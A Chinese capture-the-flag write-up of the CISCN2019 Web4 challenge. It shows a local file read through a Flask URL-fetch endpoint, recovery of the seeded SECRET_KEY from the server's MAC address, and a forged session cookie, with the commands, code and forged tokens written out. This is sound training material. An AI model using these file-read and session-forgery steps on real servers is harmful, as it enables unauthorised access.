[CTF]WriteUp第54篇

[CISCN2019 华东南赛区]Web4

思路

首页只有一个Read Something
点击之后跳转到了百度

看到url, 尝试文件读取
发现可以读取, 但是不能直接读flag

我们先读取/proc/self/environ, /proc/self/commproc/self/cmdline

// /proc/self/environ
LANG=C.UTF-8
SHELL=/bin/ash
SHLVL=1
WERKZEUG_RUN_MAIN=true
CHARSET=UTF-8
PWD=/app
WERKZEUG_SERVER_FD=3
LOGNAME=glzjin
USER=glzjin
HOME=/app
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PS1=\h:\w\$ 
PAGER=less

// /proc/self/comm
python

// /proc/self/cmdline
/usr/local/bin/python/app/app.py

然后再读app.py:

import re, random, uuid, urllib 
from flask import Flask, session, request 
app = Flask(__name__) 
random.seed(uuid.getnode()) 
app.config['SECRET_KEY'] = str(random.random()*233) 
app.debug = True 
@app.route('/') 
def index(): 
    session['username'] = 'www-data' 
    return 'Hello World! Read somethings'
    
@app.route('/read') 
def read(): 
    try: 
        url = request.args.get('url') 
        m = re.findall('^file.*', url, re.IGNORECASE) 
        n = re.findall('flag', url, re.IGNORECASE) 
        if m or n: 
            return 'No Hack' 
        res = urllib.urlopen(url) 
        return res.read() 
    except Exception as ex: 
        print str(ex) 
        return 'no response' 
        
@app.route('/flag') 
def flag(): 
    if session and session['username'] == 'fuck': 
        return open('/flag.txt').read() 
    else: 
        return 'Access denied' 

if __name__=='__main__': 
    app.run( debug=True, host="0.0.0.0" )

通过print str(ex)判断出是python2

解题

可以看到, 要读取flag需要session['username'] == 'fuck'并且知道app.config['SECRET_KEY']
app.config['SECRET_KEY']又是通过random.seed(uuid.getnode())设定了随机种子生成的
其中uuid.getnode()的含义是获取mac地址的10进制数

那么首先访问/sys/class/net/eth0/address获得mac值

/read?url=/sys/class/net/eth0/address

// 得到:
a2:3b:25:84:e9:57
// 进制转换一下:
178374916237655

然后重写一下相关代码在本机运行一下即可:

# encoding:utf-8 
import re, random, uuid, urllib 
from flask import Flask, session, request 
app = Flask(__name__) 
print(uuid.getnode())
random.seed(178374916237655) 
app.config['SECRET_KEY'] = str(random.random()*233) 
app.debug = True 
@app.route('/') 
def index(): 
    session['username'] = 'fuck' 
    return 'Hello World! Read somethings'
    
if __name__=='__main__': 
    app.run( debug=True, host="0.0.0.0" )

访问之后从浏览器中拿出session:

eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Z9wvUw.gteYMO4PQgnSKcUQdQ8zjzUuuMQ

复制粘贴到题目环境中, 访问/flag即可

/flag

// session:
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Z9wvUw.gteYMO4PQgnSKcUQdQ8zjzUuuMQ

// flag:
flag{5860ce83-f80d-40bb-ac81-0d1a585dbaef}

另一种解法

使用大佬的flask的session编解码脚本:
GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

先获取key:

>>> import random
>>> random.seed(178374916237655)
>>> str(random.random()*233)
'177.839025047'

然后生成即可

python .\flask_session_cookie_manager2.py encode -s 177.839025047 -t "{'username':'fuck'}"

eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Z9wzDw.Wh-KMa7oOb39UyZ2ytvEGR3-WVw

虽然和上面的session不同但也可以使用

注意

  • flask-session-cookie-manager脚本的使用
  • mac地址存在哪里

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇